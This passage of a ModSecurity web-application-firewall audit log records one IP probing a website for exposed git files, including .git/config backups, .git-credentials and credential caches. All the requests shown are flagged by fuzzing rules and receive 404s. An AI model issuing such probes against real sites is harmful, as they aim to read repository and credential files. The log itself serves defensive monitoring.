Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/info/exclude"] [unique_id "aqZo5TTJ6xTvcJoem7f6kwAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725020111 519988 (- - -)
Stopwatch2: 1789290725020111 519988; combined=4551, p1=248, p2=4245, p3=0, p4=0, p5=58, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--69ed9e44-Z--

--0d592b34-A--
[13/Sep/2026:12:12:05.550985 +0300] aqZo5WM7dE9KgIIOpQh0SgAAANA 172.86.81.63 40280 127.0.0.1 7081
--0d592b34-B--
GET /.git/config.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--0d592b34-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0d592b34-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.bak"] [unique_id "aqZo5WM7dE9KgIIOpQh0SgAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.bak"] [unique_id "aqZo5WM7dE9KgIIOpQh0SgAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.bak"] [unique_id "aqZo5WM7dE9KgIIOpQh0SgAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725080999 470044 (- - -)
Stopwatch2: 1789290725080999 470044; combined=54532, p1=169, p2=54296, p3=0, p4=0, p5=66, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0d592b34-Z--

--b8ee1532-A--
[13/Sep/2026:12:12:05.788124 +0300] aqZo5SsVWymXUono-eRU3AAAAAI 172.86.81.63 40318 127.0.0.1 7081
--b8ee1532-B--
GET /.git/config.save HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--b8ee1532-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b8ee1532-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.save"] [unique_id "aqZo5SsVWymXUono-eRU3AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.save"] [unique_id "aqZo5SsVWymXUono-eRU3AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.save"] [unique_id "aqZo5SsVWymXUono-eRU3AAAAAI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725137199 650975 (- - -)
Stopwatch2: 1789290725137199 650975; combined=38825, p1=178, p2=38561, p3=0, p4=0, p5=86, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b8ee1532-Z--

--333d5038-A--
[13/Sep/2026:12:12:05.805588 +0300] aqZo5DTJ6xTvcJoem7f6kQAAAEY 172.86.81.63 40196 127.0.0.1 7081
--333d5038-B--
GET /.git/config.old HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--333d5038-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--333d5038-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.old"] [unique_id "aqZo5DTJ6xTvcJoem7f6kQAAAEY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.old"] [unique_id "aqZo5DTJ6xTvcJoem7f6kQAAAEY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.old"] [unique_id "aqZo5DTJ6xTvcJoem7f6kQAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290724989802 815937 (- - -)
Stopwatch2: 1789290724989802 815937; combined=75494, p1=3397, p2=72011, p3=0, p4=0, p5=86, sr=3174, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--333d5038-Z--

--ea534d72-A--
[13/Sep/2026:12:12:05.829020 +0300] aqZo5SsVWymXUono-eRU2QAAABc 172.86.81.63 40310 127.0.0.1 7081
--ea534d72-B--
GET /.git-credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--ea534d72-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ea534d72-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZo5SsVWymXUono-eRU2QAAABc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZo5SsVWymXUono-eRU2QAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725129289 699779 (- - -)
Stopwatch2: 1789290725129289 699779; combined=61791, p1=180, p2=61549, p3=0, p4=0, p5=61, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea534d72-Z--

--c91fea28-A--
[13/Sep/2026:12:12:05.951100 +0300] aqZo5TTJ6xTvcJoem7f6lAAAAEc 172.86.81.63 40216 127.0.0.1 7081
--c91fea28-B--
GET /.git/config.credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--c91fea28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c91fea28-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZo5TTJ6xTvcJoem7f6lAAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZo5TTJ6xTvcJoem7f6lAAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZo5TTJ6xTvcJoem7f6lAAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725029054 922111 (- - -)
Stopwatch2: 1789290725029054 922111; combined=62973, p1=199, p2=62688, p3=0, p4=0, p5=84, sr=86, sw=2, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c91fea28-Z--

--f2ec8518-A--
[13/Sep/2026:12:12:05.956142 +0300] aqZo5WM7dE9KgIIOpQh0TAAAAM0 172.86.81.63 40308 127.0.0.1 7081
--f2ec8518-B--
GET /.git/credential-cache HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--f2ec8518-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f2ec8518-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/credential-cache"] [unique_id "aqZo5WM7dE9KgIIOpQh0TAAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725109192 846998 (- - -)
Stopwatch2: 1789290725109192 846998; combined=91153, p1=243, p2=90850, p3=0, p4=0, p5=60, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f2ec8518-Z--

--963fd72b-A--
[13/Sep/2026:12:12:05.968796 +0300] aqZo5SsVWymXUono-eRU3wAAABM 172.86.81.63 40336 127.0.0.1 7081
--963fd72b-B--
GET /.git/logs/refs/remotes/origin/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--963fd72b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--963fd72b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/refs/remotes/origin/HEAD"] [unique_id "aqZo5SsVWymXUono-eRU3wAAABM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725141011 827833 (- - -)
Stopwatch2: 1789290725141011 827833; combined=77048, p1=143, p2=76854, p3=0, p4=0, p5=51, sr=68, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--963fd72b-Z--

--6b58d35e-A--
[13/Sep/2026:12:12:05.995165 +0300] aqZo5WM7dE9KgIIOpQh0SAAAAMA 172.86.81.63 40254 127.0.0.1 7081
--6b58d35e-B--
GET /.git/credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--6b58d35e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6b58d35e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/credentials"] [unique_id "aqZo5WM7dE9KgIIOpQh0SAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725073994 921219 (- - -)
Stopwatch2: 1789290725073994 921219; combined=4165, p1=170, p2=3939, p3=0, p4=0, p5=55, sr=73, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6b58d35e-Z--

--28398503-A--
[13/Sep/2026:12:12:06.006119 +0300] aqZo5WM7dE9KgIIOpQh0SwAAAMg 172.86.81.63 40288 127.0.0.1 7081
--28398503-B--
GET /.git/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--28398503-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--28398503-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/HEAD"] [unique_id "aqZo5WM7dE9KgIIOpQh0SwAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725084129 922039 (- - -)
Stopwatch2: 1789290725084129 922039; combined=3759, p1=195, p2=3508, p3=0, p4=0, p5=55, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--28398503-Z--

--ef0c5602-A--
[13/Sep/2026:12:12:06.006470 +0300] aqZo5TTJ6xTvcJoem7f6lQAAAFY 172.86.81.63 40242 127.0.0.1 7081
--ef0c5602-B--
GET /.git/logs/refs/heads/main HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--ef0c5602-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ef0c5602-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "aqZo5TTJ6xTvcJoem7f6lQAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725035828 970687 (- - -)
Stopwatch2: 1789290725035828 970687; combined=3993, p1=202, p2=3755, p3=0, p4=0, p5=35, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ef0c5602-Z--

--f0ab2836-A--
[13/Sep/2026:12:12:06.015710 +0300] aqZo5WM7dE9KgIIOpQh0SQAAAMw 172.86.81.63 40268 127.0.0.1 7081
--f0ab2836-B--
GET /.git/logs/refs/heads/master HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--f0ab2836-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f0ab2836-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "aqZo5WM7dE9KgIIOpQh0SQAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725080102 935663 (- - -)
Stopwatch2: 1789290725080102 935663; combined=19732, p1=189, p2=19489, p3=0, p4=0, p5=53, sr=76, sw=1, l=0, gc=0
